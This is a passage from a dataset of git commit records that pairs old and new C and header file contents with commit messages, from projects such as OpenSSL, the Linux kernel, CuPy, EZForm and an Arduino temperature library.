num_hash_comps;\n    int error;\n};\n","new_contents":"\/*\n * Copyright 1995-2016 The OpenSSL Project Authors. All Rights Reserved.\n *\n * Licensed under the OpenSSL license (the \"License\").  You may not use\n * this file except in compliance with the License.  You can obtain a copy\n * in the file LICENSE in the source distribution or at\n * https:\/\/www.openssl.org\/source\/license.html\n *\/\n\n\nstruct lhash_node_st {\n    void *data;\n    struct lhash_node_st *next;\n    unsigned long hash;\n};\n\nstruct lhash_st {\n    OPENSSL_LH_NODE **b;\n    OPENSSL_LH_COMPFUNC comp;\n    OPENSSL_LH_HASHFUNC hash;\n    unsigned int num_nodes;\n    unsigned int num_alloc_nodes;\n    unsigned int p;\n    unsigned int pmax;\n    unsigned long up_load;      \/* load times 256 *\/\n    unsigned long down_load;    \/* load times 256 *\/\n    unsigned long num_items;\n    unsigned long num_expands;\n    unsigned long num_expand_reallocs;\n    unsigned long num_contracts;\n    unsigned long num_contract_reallocs;\n    unsigned long num_hash_calls;\n    unsigned long num_comp_calls;\n    unsigned long num_insert;\n    unsigned long num_replace;\n    unsigned long num_delete;\n    unsigned long num_no_delete;\n    unsigned long num_retrieve;\n    unsigned long num_retrieve_miss;\n    unsigned long num_hash_comps;\n    int error;\n};\n","subject":"Complete the rename of LHASH functions and types","message":"Complete the rename of LHASH functions and types\n\nLHASH_NODE was used internally, which doesn't work when configured\n'no-deprecated'\n\nReviewed-by: Rich Salz <c04971a99e5a9ee80eaab4b1deb37e845b0bd697@openssl.org>\n","lang":"C","license":"apache-2.0","repos":"openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl"}
{"commit":"4fc052a4d01f37d84c484c779266d137b4b39137","old_file":"tests\/fpga\/texture\/sseg.h","new_file":"tests\/fpga\/texture\/sseg.h","old_contents":"","new_contents":"#ifndef __SSEG_H\n#define __SSEG_H\n\n\/\/  aaa\n\/\/  f b\n\/\/  ggg\n\/\/  e c\n\/\/  ddd\n\nconst int kSegA = 1;\nconst int kSegB = 2;\nconst int kSegC = 4;\nconst int kSegD = 8;\nconst int kSegE = 16;\nconst int kSegF = 32;\nconst int kSegG = 64;\n\nstatic char digits[] = {\n\t~(kSegA | kSegB | kSegC | kSegD | kSegE | kSegF), \/\/ 0\n\t~(kSegB | kSegC), \/\/ 1\n\t~(kSegA | kSegB | kSegD | kSegE | kSegG), \/\/ 2\n\t~(kSegA | kSegB | kSegC | kSegD | kSegG), \/\/ 3\n\t~(kSegB | kSegC | kSegF | kSegG), \/\/ 4\n\t~(kSegA | kSegC | kSegD | kSegF | kSegG), \/\/ 5\n\t~(kSegA | kSegF | kSegG | kSegE | kSegC | kSegG), \/\/ 6\n\t~(kSegA | kSegB | kSegC), \/\/ 7\n\t~(kSegA | kSegB | kSegC | kSegD | kSegE | kSegF | kSegG), \/\/ 8\n\t~(kSegA | kSegB | kSegC | kSegD | kSegF | kSegG), \/\/ 9\n\t~(kSegA | kSegF | kSegB | kSegG | kSegE | kSegC), \/\/ A\n\t~(kSegF | kSegG | kSegE | kSegC | kSegD), \/\/ b\n\t~(kSegA | kSegF | kSegE | kSegD), \/\/ C\n\t~(kSegB | kSegG | kSegE | kSegC | kSegD), \/\/ d\n\t~(kSegA | kSegF | kSegG | kSegE | kSegD), \/\/ E\n\t~(kSegA | kSegF | kSegG | kSegE) \/\/ F\t\n};\n\nvolatile unsigned int * const kLedRegBase = (volatile unsigned int*) 0xffff0008;\n\n#endif\n\n","subject":"Add seven segment control code for debugging","message":"Add seven segment control code for debugging\n","lang":"C","license":"apache-2.0","repos":"FulcronZ\/NyuziProcessor,jbush001\/NyuziProcessor,FulcronZ\/NyuziProcessor,FulcronZ\/NyuziProcessor,hoangt\/NyuziProcessor,hoangt\/NyuziProcessor,jbush001\/NyuziProcessor,jbush001\/NyuziProcessor,jbush001\/NyuziProcessor,hoangt\/NyuziProcessor,jbush001\/NyuziProcessor,jbush001\/NyuziProcessor,FulcronZ\/NyuziProcessor,hoangt\/NyuziProcessor"}
{"commit":"dd311938bea9633a230f0e3dd5145bda5b142de9","old_file":"mediathread\/demuxer_skeleton.c","new_file":"mediathread\/demuxer_skeleton.c","old_contents":"","new_contents":"\/* * \n *  $Id$\n *\n *  This file is part of Fenice\n *\n *  Fenice -- Open Media Server\n *\n *  Copyright (C) 2007 by\n *    - Dario Gallucci      <dario.gallucci@polito.it>\n *\n *  Fenice is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; either version 2 of the License, or\n *  (at your option) any later version.\n *\n *  Fenice is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with Fenice; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\n * *\/\n\n#include <fenice\/demuxer.h>\n#include <fenice\/demuxer_module.h>\n\nstatic DemuxerInfo info = {\n    \"Skeleton demuxer_module\",\n    \"skel\",\n    \"LScube Team\",\n    \"\",\n    \"skl\"\n};\n\nFNC_LIB_DEMUXER(skel);\n\nstatic int skel_probe(InputStream * i_stream)\n{\n    return RESOURCE_NOT_FOUND;\n}\n\nstatic int skel_init(Resource * r)\n{\n    return RESOURCE_DAMAGED;\n}\n\nstatic int skel_read_packet(Resource * r)\n{\n    return RESOURCE_NOT_PARSEABLE;\n}\n\nstatic int skel_seek(Resource * r, double time_sec)\n{\n    return RESOURCE_NOT_SEEKABLE;\n}\n\nstatic int skel_uninit(Resource * r)\n{\n    return RESOURCE_OK;\n}\n","subject":"Add skeleton for demuxer modules","message":"Add skeleton for demuxer modules\n","lang":"C","license":"lgpl-2.1","repos":"winlinvip\/feng,lscube\/feng,winlinvip\/feng,winlinvip\/feng,lscube\/feng,lscube\/feng"}
{"commit":"0324b6204df54b3c93d3847eb5d50fe7ce55c22e","old_file":"EZForm\/EZForm\/src\/EZFormField+Private.h","new_file":"EZForm\/EZForm\/src\/EZFormField+Private.h","old_contents":"\/\/\n\/\/  EZForm\n\/\/\n\/\/  Copyright 2011-2013 Chris Miles. All rights reserved.\n\/\/\n\/\/  Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/  of this software and associated documentation files (the \"Software\"), to deal\n\/\/  in the Software without restriction, including without limitation the rights\n\/\/  to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/  copies of the Software, and to permit persons to whom the Software is\n\/\/  furnished to do so, subject to the following conditions:\n\/\/  \n\/\/  The above copyright notice and this permission notice shall be included in\n\/\/  all copies or substantial portions of the Software.\n\/\/  \n\/\/  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/  THE SOFTWARE.\n\/\/\n\n#import \"EZFormField.h\"\n\n@class EZForm;\n\n@interface EZFormField (Private)\n\n@property (nonatomic, assign, readwrite) EZForm *form;\n\n@end\n","new_contents":"\/\/\n\/\/  EZForm\n\/\/\n\/\/  Copyright 2011-2013 Chris Miles. All rights reserved.\n\/\/\n\/\/  Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/  of this software and associated documentation files (the \"Software\"), to deal\n\/\/  in the Software without restriction, including without limitation the rights\n\/\/  to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/  copies of the Software, and to permit persons to whom the Software is\n\/\/  furnished to do so, subject to the following conditions:\n\/\/  \n\/\/  The above copyright notice and this permission notice shall be included in\n\/\/  all copies or substantial portions of the Software.\n\/\/  \n\/\/  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/  THE SOFTWARE.\n\/\/\n\n#import \"EZFormField.h\"\n\n@class EZForm;\n\n@interface EZFormField (Private)\n\n@property (nonatomic, weak, readwrite) EZForm *form;\n\n@end\n","subject":"Update project to Xcode 11 beta 7","message":"Update project to Xcode 11 beta 7\n\nOnly update required is to replace `assign` with `weak`\n","lang":"C","license":"mit","repos":"realestate-com-au\/EZForm,realestate-com-au\/EZForm"}
{"commit":"390d39f85242312778390db23603d8044c391c43","old_file":"euler\/euler044.c","new_file":"euler\/euler044.c","old_contents":"","new_contents":"\/\/ Copyright 2018 Dennis Decker Jensen\n\/\/ Date: 29 April 2018\n\/\/ Purpose: Minimum difference of pentagon numbers.\n\/\/ Tectonics: cc -std=c11 -pedantic -Wall -O2 -o euler044 euler044.c\n\/\/\n\n#include <limits.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nenum { npentagons = 10000 }; \/\/ N.B! Trial and error\nunsigned pentagon[npentagons];\n\nint\ncmp(const void *a, const void *b)\n{\n\tunsigned ua = *(unsigned *)a, ub = *(unsigned *)b;\n\tif (ua < ub) return -1;\n\telse if (ua > ub) return 1;\n\telse return 0;\n}\n\nint\nmain()\n{\n\tsize_t i, j, m = 0, n = 0, si = 0, di = 0;\n\tunsigned sum = 0, difference = 0, min = UINT_MAX, s, *b;\n\n\tfor (i = 0; i < npentagons; ++i)\n\t\tpentagon[i] = i * (3 * i - 1) \/ 2;\n\n\tfor (i = 1; i < npentagons; ++i)\n\t\tfor (j = i + 1; j < npentagons\n\t\t\t&& (s = pentagon[i] + pentagon[j])\n\t\t\t\t<= pentagon[npentagons - 1]; ++j) {\n\t\t\tb = bsearch(&s, pentagon, npentagons,\n\t\t\t\t\tsizeof(unsigned), cmp);\n\t\t\tif (b == NULL)\n\t\t\t\tcontinue;\n\t\t\tsi = b - pentagon;\n\n\t\t\tdifference = pentagon[j] - pentagon[i];\n\t\t\tb = bsearch(&difference, pentagon, npentagons,\n\t\t\t\t\tsizeof(unsigned), cmp);\n\t\t\tif (b == NULL)\n\t\t\t\tcontinue;\n\t\t\tdi = b - pentagon;\n\n\t\t\tif (difference < min) {\n\t\t\t\tmin = difference;\n\t\t\t\tsum = s;\n\t\t\t\tm = i;\n\t\t\t\tn = j;\n\t\t\t\tprintf(\">P%zu - P%zu = %u\\n\", m, n, min);\n\t\t\t\tprintf(\">P%zu + P%zu = %u\\n\", m, n, sum);\n\t\t\t}\n\t\t}\n\tprintf(\"Minimum, P%zu - P%zu = P%zu (%u)\\n\", m, n, di, min);\n\tprintf(\"         P%zu + P%zu = P%zu (%u)\\n\", m, n, si, sum);\n\treturn 0;\n}\n\n","subject":"Solve Euler problem 44 on min. pentagon numbers.","message":"Solve Euler problem 44 on min. pentagon numbers.\n","lang":"C","license":"isc","repos":"dennisdjensen\/sketchbook,dennisdjensen\/sketchbook,dennisdjensen\/sketchbook,dennisdjensen\/sketchbook,dennisdjensen\/sketchbook"}
{"commit":"db0dc75d6403b6663c0eab4c6ccb672eb9b2ed72","old_file":"arch\/x86\/lib\/usercopy.c","new_file":"arch\/x86\/lib\/usercopy.c","old_contents":"\/*\n * User address space access functions.\n *\n *  For licencing details see kernel-base\/COPYING\n *\/\n\n#include <linux\/highmem.h>\n#include <linux\/module.h>\n\n#include <asm\/word-at-a-time.h>\n\n\/*\n * best effort, GUP based copy_from_user() that is NMI-safe\n *\/\nunsigned long\ncopy_from_user_nmi(void *to, const void __user *from, unsigned long n)\n{\n\tunsigned long offset, addr = (unsigned long)from;\n\tunsigned long size, len = 0;\n\tstruct page *page;\n\tvoid *map;\n\tint ret;\n\n\tdo {\n\t\tret = __get_user_pages_fast(addr, 1, 0, &page);\n\t\tif (!ret)\n\t\t\tbreak;\n\n\t\toffset = addr & (PAGE_SIZE - 1);\n\t\tsize = min(PAGE_SIZE - offset, n - len);\n\n\t\tmap = kmap_atomic(page);\n\t\tmemcpy(to, map+offset, size);\n\t\tkunmap_atomic(map);\n\t\tput_page(page);\n\n\t\tlen  += size;\n\t\tto   += size;\n\t\taddr += size;\n\n\t} while (len < n);\n\n\treturn len;\n}\nEXPORT_SYMBOL_GPL(copy_from_user_nmi);\n","new_contents":"\/*\n * User address space access functions.\n *\n *  For licencing details see kernel-base\/COPYING\n *\/\n\n#include <linux\/highmem.h>\n#include <linux\/module.h>\n\n#include <asm\/word-at-a-time.h>\n#include <linux\/sched.h>\n\n\/*\n * best effort, GUP based copy_from_user() that is NMI-safe\n *\/\nunsigned long\ncopy_from_user_nmi(void *to, const void __user *from, unsigned long n)\n{\n\tunsigned long offset, addr = (unsigned long)from;\n\tunsigned long size, len = 0;\n\tstruct page *page;\n\tvoid *map;\n\tint ret;\n\n\tif (__range_not_ok(from, n, TASK_SIZE) == 0)\n\t\treturn len;\n\n\tdo {\n\t\tret = __get_user_pages_fast(addr, 1, 0, &page);\n\t\tif (!ret)\n\t\t\tbreak;\n\n\t\toffset = addr & (PAGE_SIZE - 1);\n\t\tsize = min(PAGE_SIZE - offset, n - len);\n\n\t\tmap = kmap_atomic(page);\n\t\tmemcpy(to, map+offset, size);\n\t\tkunmap_atomic(map);\n\t\tput_page(page);\n\n\t\tlen  += size;\n\t\tto   += size;\n\t\taddr += size;\n\n\t} while (len < n);\n\n\treturn len;\n}\nEXPORT_SYMBOL_GPL(copy_from_user_nmi);\n","subject":"Check user address explicitly in copy_from_user_nmi()","message":"perf\/x86: Check user address explicitly in copy_from_user_nmi()\n\nSigned-off-by: Arun Sharma <c2cb8b536bb785a11a9303a3d5590407e9ac6d77@fb.com>\nCc: Linus Torvalds <69652caca27c8b940640ad396ab71f93cacec34f@linux-foundation.org>\nCc: 2578944098299abf708b08eff6fcf60565553586@vger.kernel.org\nSigned-off-by: Peter Zijlstra <645ca7d3a8d3d4f60557176cd361ea8351edc32b@chello.nl>\nLink: http:\/\/lkml.kernel.org\/r\/1334961696-19580-5-git-send-email-c2cb8b536bb785a11a9303a3d5590407e9ac6d77@fb.com\nSigned-off-by: Ingo Molnar <9dbbbf0688fedc85ad4da37637f1a64b8c718ee2@kernel.org>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"e0b44e2f0dc3124674bdb7ba6cc3ea0c3e38779c","old_file":"src\/commands.c","new_file":"src\/commands.c","old_contents":"#include \"commands.h\"\n\n#include <stdbool.h>\n#include <stdio.h>\n\n#include \"util.h\"\n\nstatic const char* quit_matches[] = {\"quit\"};\nstatic const char* help_matches[] = {\"help\"};\n\nstatic void print_commands_help() {\n  puts(\"  Commands available:\\n\");\n  puts(\"    :quit   \\tExit laco\");\n  puts(\"    :help   \\tDisplay this list of commands\");\n}\n\nstatic inline bool is_quit(const char* command) {\n  return laco_is_match(quit_matches, command);\n}\n\nstatic inline bool is_help(const char* command) {\n  return laco_is_match(help_matches, command);\n}\n\nvoid handle_command(struct LacoState* laco, char* line) {\n  if(laco != NULL && line != NULL) {\n    const char* command = line + 1;\n\n    if(is_quit(command)) {\n      laco_kill(laco, 0, \"Exiting laco...\");\n    } else if(is_help(command))  {\n      print_commands_help();\n    }\n\n    \/* Make it seem like this was an empty line *\/\n    line[0] = '\\0';\n  }\n}\n","new_contents":"#include \"commands.h\"\n\n#include <stdbool.h>\n#include <stdio.h>\n\n#include \"util.h\"\n\nstatic const char* quit_matches[] = {\"quit\"};\nstatic const char* help_matches[] = {\"help\", \"?\"};\n\nstatic void print_commands_help() {\n  puts(\"  Commands available:\\n\");\n  puts(\"    :quit      \\tExit laco\");\n  puts(\"    :help, :?  \\tDisplay this list of commands\");\n}\n\nstatic inline bool is_quit(const char* command) {\n  return laco_is_match(quit_matches, command);\n}\n\nstatic inline bool is_help(const char* command) {\n  return laco_is_match(help_matches, command);\n}\n\nvoid handle_command(struct LacoState* laco, char* line) {\n  if(laco != NULL && line != NULL) {\n    const char* command = line + 1;\n\n    if(is_quit(command)) {\n      laco_kill(laco, 0, \"Exiting laco...\");\n    } else if(is_help(command))  {\n      print_commands_help();\n    }\n\n    \/* Make it seem like this was an empty line *\/\n    line[0] = '\\0';\n  }\n}\n","subject":"Add short hand for help command","message":"Add short hand for help command\n","lang":"C","license":"bsd-2-clause","repos":"sourrust\/laco"}
{"commit":"42d67826408f0c67cc6c9e9d2f41d203531031e0","old_file":"TATLayout\/TATLayout.h","new_file":"TATLayout\/TATLayout.h","old_contents":"\/\/\n\/\/  TATLayout.h\n\/\/  TATLayout\n\/\/\n\/\/  An expressive, simple yet poweful way for coding layout constraints in iOS.\n\/\/\n\/\/  Copyright (c) 2014 Claudio Romandini.\n\/\/\n\/\/  Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/  of this software and associated documentation files (the \"Software\"), to deal\n\/\/  in the Software without restriction, including without limitation the rights\n\/\/  to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/  copies of the Software, and to permit persons to whom the Software is\n\/\/  furnished to do so, subject to the following conditions:\n\/\/\n\/\/  The above copyright notice and this permission notice shall be included in\n\/\/  all copies or substantial portions of the Software.\n\/\/\n\/\/  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/  THE SOFTWARE.\n\/\/\n\n#import \"NSLayoutConstraint+TATConstraintFactory.h\"\n#import \"UIView+TATViewConstraints.h\"\n","new_contents":"\/\/\n\/\/  TATLayout.h\n\/\/  TATLayout\n\/\/\n\/\/  An expressive, simple yet poweful way for coding layout constraints in iOS.\n\/\/\n\/\/  Copyright (c) 2014 Claudio Romandini.\n\/\/\n\/\/  Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/  of this software and associated documentation files (the \"Software\"), to deal\n\/\/  in the Software without restriction, including without limitation the rights\n\/\/  to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/  copies of the Software, and to permit persons to whom the Software is\n\/\/  furnished to do so, subject to the following conditions:\n\/\/\n\/\/  The above copyright notice and this permission notice shall be included in\n\/\/  all copies or substantial portions of the Software.\n\/\/\n\/\/  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/  THE SOFTWARE.\n\/\/\n\n#import \"NSLayoutConstraint+TATConstraintFactory.h\"\n#import \"UIView+TATViewConstraints.h\"\n#import \"TATLayoutManager.h\"\n#import \"TATLayoutHelper.h\"\n","subject":"Add imports in main library header","message":"Add imports in main library header\n","lang":"C","license":"mit","repos":"cromandini\/TATLayout,cromandini\/TATLayout"}
{"commit":"80f76eaea4479b3853d228727e2a88e5b18b31c3","old_file":"libmue\/tests\/test_guest_tuple_iterator.h","new_file":"libmue\/tests\/test_guest_tuple_iterator.h","old_contents":"","new_contents":"#ifndef TEST_GUEST_TUPLE_ITERATOR_H\n#define TEST_GUEST_TUPLE_ITERATOR_H\n\n#include <cxxtest\/TestSuite.h>\n#include <unordered_set>\n#include <vector>\n\n#include \"teams.h\"\n#include \"guest_tuple_iterator.h\"\n\nclass TestSeenTable : public CxxTest::TestSuite\n{\n\tprivate:\n\t\tstd::vector<mue::Team> make_testteams(int num)\n\t\t{\n\t\t\tstd::vector<mue::Team> teams;\n\t\t\t\n\t\t\tfor (mue::Team_id i = 0; i < num; ++i)\n\t\t\t\tteams.push_back(mue::Team(i));\n\t\t\treturn teams;\n\t\t}\n\n\tpublic:\n\t\tvoid testFooBar(void)\n\t\t{\n\n\n\t\t}\n};\n\n#endif\n","subject":"Add test Skel for guest_tuple_iterator.h","message":"Add test Skel for guest_tuple_iterator.h\n\nSigned-off-by: Jan Losinski <577c4104c61edf9f052c616c0c23e67bef4a9955@wh2.tu-dresden.de>\n","lang":"C","license":"bsd-3-clause","repos":"eXma\/meet-and-eat-distribution-tool,janLo\/meet-and-eat-distribution-tool,eXma\/meet-and-eat-distribution-tool,janLo\/meet-and-eat-distribution-tool,eXma\/meet-and-eat-distribution-tool,janLo\/meet-and-eat-distribution-tool"}
{"commit":"2114a48105c52b6b0e1c1cbbe59080ea8583e846","old_file":"cupy\/cuda\/cupy_thrust.h","new_file":"cupy\/cuda\/cupy_thrust.h","old_contents":"#ifndef INCLUDE_GUARD_CUPY_CUDA_THRUST_H\n#define INCLUDE_GUARD_CUPY_CUDA_THRUST_H\n\n#ifndef CUPY_NO_CUDA\n\nnamespace cupy {\n\nnamespace thrust {\n\ntemplate <typename T>\nvoid _sort(void *, size_t *, const std::vector<ptrdiff_t>&, size_t, void *);\n\ntemplate <typename T>\nvoid _lexsort(size_t *, void *, size_t, size_t, size_t, void *);\n\ntemplate <typename T>\nvoid _argsort(size_t *, void *, void *, const std::vector<ptrdiff_t>&, size_t,\n              void *);\n\n} \/\/ namespace thrust\n\n} \/\/ namespace cupy\n\n#else \/\/ CUPY_NO_CUDA\n\n#include \"cupy_common.h\"\n\nnamespace cupy {\n\nnamespace thrust {\n\ntemplate <typename T> void _sort(...) { return; }\n\ntemplate <typename T> void _lexsort(...) { return; }\n\ntemplate <typename T> void _argsort(...) { return; }\n\n} \/\/ namespace thrust\n\n} \/\/ namespace cupy\n\n#endif \/\/ #ifndef CUPY_NO_CUDA\n\n#endif \/\/ INCLUDE_GUARD_CUPY_CUDA_THRUST_H\n","new_contents":"#ifndef INCLUDE_GUARD_CUPY_CUDA_THRUST_H\n#define INCLUDE_GUARD_CUPY_CUDA_THRUST_H\n\n#ifndef CUPY_NO_CUDA\n\nnamespace cupy {\n\nnamespace thrust {\n\ntemplate <typename T>\nvoid _sort(void *, size_t *, const std::vector<ptrdiff_t>&, size_t, void *);\n\ntemplate <typename T>\nvoid _lexsort(size_t *, void *, size_t, size_t, size_t, void *);\n\ntemplate <typename T>\nvoid _argsort(size_t *, void *, void *, const std::vector<ptrdiff_t>&, size_t,\n              void *);\n\n} \/\/ namespace thrust\n\n} \/\/ namespace cupy\n\n#else \/\/ CUPY_NO_CUDA\n\n#include \"cupy_common.h\"\n\nnamespace cupy {\n\nnamespace thrust {\n\ntemplate <typename T>\nvoid _sort(void *, size_t *, const std::vector<ptrdiff_t>&, size_t, void *) {\n    return;\n}\n\ntemplate <typename T>\nvoid _lexsort(size_t *, void *, size_t, size_t, size_t, void *) {\n    return;\n}\n\ntemplate <typename T>\nvoid _argsort(size_t *, void *, void *, const std::vector<ptrdiff_t>&, size_t,\n              void *) {\n    return;\n}\n\n} \/\/ namespace thrust\n\n} \/\/ namespace cupy\n\n#endif \/\/ #ifndef CUPY_NO_CUDA\n\n#endif \/\/ INCLUDE_GUARD_CUPY_CUDA_THRUST_H\n","subject":"Fix for no cuda environment","message":"Fix for no cuda environment\n","lang":"C","license":"mit","repos":"cupy\/cupy,cupy\/cupy,cupy\/cupy,cupy\/cupy"}
{"commit":"f6aacdd94fe8d648081d42cd578cf5280f6f55fe","old_file":"config\/config_class.h","new_file":"config\/config_class.h","old_contents":"#ifndef\tCONFIG_CLASS_H\n#define\tCONFIG_CLASS_H\n\n#include <map>\n\nclass Config;\nclass ConfigObject;\nclass ConfigType;\nclass ConfigValue;\n\nclass ConfigClass {\n\tfriend class Config;\n\n\tstd::string name_;\n\tstd::map<std::string, ConfigType *> members_;\nprotected:\n\tConfigClass(const std::string& name)\n\t: name_(name),\n\t  members_()\n\t{ }\nprivate:\n\t~ConfigClass();\n\n\tvirtual bool activate(ConfigObject *)\n\t{\n\t\treturn (true);\n\t}\n\n\tbool set(ConfigObject *, const std::string&, ConfigValue *);\n\n\tConfigType *member(const std::string& mname) const\n\t{\n\t\tstd::map<std::string, ConfigType *>::const_iterator it;\n\n\t\tit = members_.find(mname);\n\t\tif (it == members_.end())\n\t\t\treturn (NULL);\n\t\treturn (it->second);\n\t}\n};\n\n#endif \/* !CONFIG_CLASS_H *\/\n","new_contents":"#ifndef\tCONFIG_CLASS_H\n#define\tCONFIG_CLASS_H\n\n#include <map>\n\nclass Config;\nclass ConfigObject;\nclass ConfigType;\nclass ConfigValue;\n\nclass ConfigClass {\n\tfriend class Config;\n\n\tstd::string name_;\n\tstd::map<std::string, ConfigType *> members_;\nprotected:\n\tConfigClass(const std::string& name)\n\t: name_(name),\n\t  members_()\n\t{ }\nprivate:\n\t~ConfigClass();\n\nprotected:\n\tvoid add_member(const std::string& mname, ConfigType *type)\n\t{\n\t\tASSERT(members_.find(mname) == members_.end());\n\t\tmembers_[mname] = type;\n\t}\n\nprivate:\n\tvirtual bool activate(ConfigObject *)\n\t{\n\t\treturn (true);\n\t}\n\n\tbool set(ConfigObject *, const std::string&, ConfigValue *);\n\n\tConfigType *member(const std::string& mname) const\n\t{\n\t\tstd::map<std::string, ConfigType *>::const_iterator it;\n\n\t\tit = members_.find(mname);\n\t\tif (it == members_.end())\n\t\t\treturn (NULL);\n\t\treturn (it->second);\n\t}\n};\n\n#endif \/* !CONFIG_CLASS_H *\/\n","subject":"Add an add_member method for adding members. Change visibility of everything.","message":"Add an add_member method for adding members.  Change visibility of everything.\n\n\ngit-svn-id: 9e2532540f1574e817ce42f20b9d0fb64899e451@156 4068ffdb-0463-0410-8185-8cc71e3bd399\n","lang":"C","license":"bsd-2-clause","repos":"diegows\/wanproxy,splbio\/wanproxy,diegows\/wanproxy,splbio\/wanproxy,diegows\/wanproxy,splbio\/wanproxy"}
{"commit":"18f6f1d23ea4838ce05b6cde0bb96f74d9e738fe","old_file":"High_Temp_MCP320x.h","new_file":"High_Temp_MCP320x.h","old_contents":"\/*\n  High_Temp.h\n\n  2014 Copyright (c) Seeed Technology Inc.  All right reserved.\n  \n  Loovee\n  2013-4-14\n\n  This library is free software; you can redistribute it and\/or\n  modify it under the terms of the GNU Lesser General Public\n  License as published by the Free Software Foundation; either\n  version 2.1 of the License, or (at your option) any later version.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with this library; if not, write to the Free Software\n  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n*\/\n#ifndef __HIGH_TEMP_MCP320x_H__\n#define __HIGH_TEMP_MCPx320x_H__\n\n#include <MCP3208.h>\n#include <High_Temp.h>\n\nclass HighTempMCP320x: public HighTemp{\n\npublic:\n\n    HighTempMCP320x(int _spiCS, int _pinTmp, int _pinThmc);\n    \nprivate:\n    int spiChipSelect;\n    MCP3208 adc;\n \npublic:\n    int getAnalog(int pin);\n};\n\n\n#endif\n","new_contents":"\/*\n  High_Temp.h\n\n  2014 Copyright (c) Seeed Technology Inc.  All right reserved.\n  \n  Loovee\n  2013-4-14\n\n  This library is free software; you can redistribute it and\/or\n  modify it under the terms of the GNU Lesser General Public\n  License as published by the Free Software Foundation; either\n  version 2.1 of the License, or (at your option) any later version.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with this library; if not, write to the Free Software\n  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n*\/\n#ifndef __HIGH_TEMP_MCP320x_H__\n#define __HIGH_TEMP_MCPx320x_H__\n\n#include <MCP3208.h>\n#include <High_Temp.h>\n\nclass 